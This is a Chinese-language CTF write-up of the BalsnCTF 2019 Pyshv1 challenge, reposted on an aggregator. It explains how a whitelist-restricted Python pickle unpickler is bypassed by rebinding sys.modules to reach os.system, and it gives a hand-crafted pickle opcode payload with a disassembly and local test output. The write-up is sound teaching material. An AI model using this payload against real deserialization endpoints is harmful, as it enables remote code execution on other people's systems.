首页 > 其他 > 详细

BalsnCTF 2019

时间:2021-04-27 20:06:38      阅读:28      评论:0      收藏:0      [点我收藏+]

BalsnCTF 2019

源码:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc

BalsnCTF 2019 Pyshv1

securePickle.py

import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or ‘.‘ in name:
            raise KeyError(‘The pickle is spoilt :(‘)
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs


pickle.whitelist.append(‘sys‘)


class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {}

    def login(self):
        user = input().encode(‘ascii‘)
        user = codecs.decode(user, ‘base64‘)
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input(‘$ ‘)
            func = self.cmds.get(req, None)
            if func is None:
                print(‘pysh: ‘ + req + ‘: command not found‘)
            else:
                func()


if __name__ == ‘__main__‘:
    pysh = Pysh()
    pysh.run()

find_class 直接调的 pickle.py 中的方法,那就先看看它如何导入包的:

# pickle.Unpickler.find_class
def find_class(self, module, name):
    # Subclasses may override this.
    if self.proto < 3 and self.fix_imports:
        if (module, name) in _compat_pickle.NAME_MAPPING:
            module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        elif module in _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    __import__(module, level=0)
    if self.proto >= 4:
        return _getattribute(sys.modules[module], name)[0]
    else:
        return getattr(sys.modules[module], name)

题目用RestrictedUnpickler做为反序列化的过程类,find_class中限制了反序列化的对象必须是sys模块中的对象。也就是我们要保证我们使用c导入的模块只能是sys

但是sys模块具有一个属性modules,其中包含所有已加载的模块,并且还允许覆盖这些模块。但是pickle没有提供GETITEM说明,我们只能访问的直接属性sys,因此不能sys.modules.__getitem__直接调用。限制了module只能为sys,那能否把sys.modules[‘sys’]替换为sys.modules[‘os’],从而引入危险模块。但是我们可以:

from sys import modules
modules[‘sys‘] = modules[‘os‘]
from sys import system

本地实验:

C:\Users\50871>python3
Python 3.9.0 (tags/v3.9.0:9cf6752, Oct  5 2020, 15:34:40) [MSC v.1927 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from sys import modules
>>> modules[‘sys‘] = modules[‘os‘]
>>> from sys import system
>>> system(‘dir‘)
 驱动器 C 中的卷是 Windows-SSD
 卷的序列号是 EE9A-6908

 C:\Users\50871 的目录

2021/04/20  23:00    <DIR>          .
2021/04/20  23:00    <DIR>          ..
2020/09/21  23:20    <DIR>          .android
2021/04/08  20:08             1,411 .bash_history

因为modules是个dict,所以我们需要用getattr(sys.modules[module], name)获取字典其中一个的值

>>> import sys
>>> sys.modules[‘sys‘] = sys.modules
>>> import sys
>>> dir(sys)  # 成功导入 dict 对象
[‘__class__‘, ‘__contains__‘, ‘__delattr__‘, ‘__delitem__‘, ‘__dir__‘, ‘__doc__‘, ‘__eq__‘, ‘__format__‘, ‘__ge__‘, ‘__getattribute__‘, ‘__getitem__‘, ‘__gt__‘, ‘__hash__‘, ‘__init__‘, ‘__init_subclass__‘, ‘__iter__‘, ‘__le__‘, ‘__len__‘, ‘__lt__‘, ‘__ne__‘, ‘__new__‘, ‘__reduce__‘, ‘__reduce_ex__‘, ‘__repr__‘, ‘__setattr__‘, ‘__setitem__‘, ‘__sizeof__‘, ‘__str__‘, ‘__subclasshook__‘, ‘clear‘, ‘copy‘, ‘fromkeys‘, ‘get‘, ‘items‘, ‘keys‘, ‘pop‘, ‘popitem‘, ‘setdefault‘, ‘update‘, ‘values‘]
>>> getattr(sys, ‘get‘)  # 结合 find_class 中的 getattr
<built-in method get of dict object at 0x000002622D052688>

利用get即可执行命令

>>> import sys
>>> sys.modules.get(‘os‘).system(‘dir‘)
 驱动器 C 中的卷是 Windows-SSD
 卷的序列号是 EE9A-6908

 C:\Users\50871 的目录

2021/04/20  23:00    <DIR>          .
2021/04/20  23:00    <DIR>          ..
2020/09/21  23:20    <DIR>          .android
2021/04/08  20:08             1,411 .bash_history

所以我们需要构造:

sys.modules[‘sys‘] = sys.modules
sys.modules[‘sys‘].get(‘os‘).system(‘dir‘)

改为opcode:

csys
modules
p100
S‘sys‘
g100
scsys
get
(S‘os‘
tRp101
0S‘sys‘
g101
scsys
system
(S‘dir‘
tR.

分析如下:

    0: c    GLOBAL     ‘sys modules‘   #引入对象sys.modules
   13: p    PUT        100   #将栈顶对象储存至memo_100
   18: S    STRING     ‘sys‘   #实例化一个字符串对象sys
   25: g    GET        100   #将memo_100的对象压栈
   30: s    SETITEM   #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即获得sys.modules[‘sys‘]
   31: c    GLOBAL     ‘sys get‘   #引入对象sys.get
   40: (    MARK   #向栈中压入一个MARK标记
   41: S        STRING     ‘os‘   #实例化一个字符串对象os
   47: t        TUPLE      (MARK at 40)   #寻找栈中的上一个MARK,并组合之间的数据为元组,即(‘os‘)
   48: R    REDUCE   #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即获得sys.get(‘os‘)
   49: p    PUT        101   #将栈顶对象储存至memo_101
   54: 0    POP   #丢弃栈顶对象
   55: S    STRING     ‘sys‘   #实例化一个字符串对象sys
   62: g    GET        101   #将memo_101的对象压栈
   67: s    SETITEM   #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即获得
   68: c    GLOBAL     ‘sys system‘   #引入对象sys.system
   80: (    MARK   #向栈中压入一个MARK标记
   81: S        STRING     ‘dir‘   #实例化一个字符串对象dir
   88: t        TUPLE      (MARK at 80)   #寻找栈中的上一个MARK,并组合之间的数据为元组,即(‘dir‘)
   89: R    REDUCE   #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
   90: .    STOP   #结束

未完待续:

https://www.anquanke.com/post/id/188981#h3-13

https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://hxp.io/blog/61/Balsn-CTF-2019-writeups/

BalsnCTF 2019

原文:https://www.cnblogs.com/w0s1np/p/14709894.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!